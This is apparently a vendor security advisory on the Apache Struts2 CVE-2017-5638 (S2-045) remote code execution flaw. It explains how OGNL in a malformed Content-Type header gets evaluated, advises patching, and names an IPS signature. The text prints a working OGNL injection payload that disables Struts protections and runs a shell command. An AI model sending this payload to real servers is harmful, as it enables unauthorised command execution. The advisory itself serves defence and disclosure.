Critical Vulnerability on Apache Struts2

By

A critical remote code execution vulnerability CVE-2017-5638 has been reported on Apache Struts2, affecting Struts 2.3.5-2.3.31 and Struts 2.5-2.5.10. A remote attacker could exploit this vulnerability by sending certain crafted HTTP request with mal-formed Content-Type value. A successful attack could execute arbitrary command on the web server.

As of Mar 6th, this vulnerability has been addressed in the Security Bulletin S2-045, and the exploit was already in-the-wild on MetaSploit.

The vulnerability is triggered by the OGNL expressions injected from the Content-Type header. When the Content-Type of a HTTP request is set to the following content, the command “whoami” will be executed:

 %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_me mberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.A ctionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xw ork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlU til.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoam i').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('wi n'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new jav a.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start( )).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream ())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros .flush())} 

Details of the vulnerability:

The vulnerability is caused by a logic error when handling an unknown Content-Type header. During the exception handling, the JakartaMultiPartRequest.buildErrorMessage method used localizedTextUtil.findText method to process the request content, and the later one contains a feature that shouldn’t be supported here: search the OGNL expressions inside the request, and eventually execute them.

The JakartaMultiPartRequest.parse method will parse the HTTP request header. When an unknown Content-Type is passed in, it will call the buildErrorMessage method to handle it. (As the name indicated, it would generates an error message):


The buildErrorMessage will then call the method localizedTextUtil.findText to parse the message. The body of the message will be passed in the 4th parameter:

In the official patch, the buildErrorMessage was fixed for necessary filtering before calling findText.

In the findText method, the OGNL expressions will be parsed and executed.

We suggest the users with an effected version of Struts2 to update the patch as soon as possible. Also the SonicWall IPS team has developed the following signature to identify and stop the attacks:

IPS: 12656 – Apache Struts 2 Jakarta Remote Code Execution (S2-045)

CVE-2017-5638 incidents in last 6 months

References:

[1] https://github.com/rapid7/metasploit-framework/issues/8064
[2] https://github.com/apache/struts/commit/352306493971e7d5a756d61780d57a76eb1f519a
[3] https://dist.apache.org/repos/dist/release/struts/2.3.20.1/
[4] http://blog.nsfocus.net/apache-struts2-remote-code-execution-vulnerability-analysis-program/
[5] https://cwiki.apache.org/confluence/display/WW/S2-045

Security News
The SonicWall Capture Labs Threat Research Team gathers, analyzes and vets cross-vector threat information from the SonicWall Capture Threat network, consisting of global devices and resources, including more than 1 million security sensors in nearly 200 countries and territories. The research team identifies, analyzes, and mitigates critical vulnerabilities and malware daily through in-depth research, which drives protection for all SonicWall customers. In addition to safeguarding networks globally, the research team supports the larger threat intelligence community by releasing weekly deep technical analyses of the most critical threats to small businesses, providing critical knowledge that defenders need to protect their networks.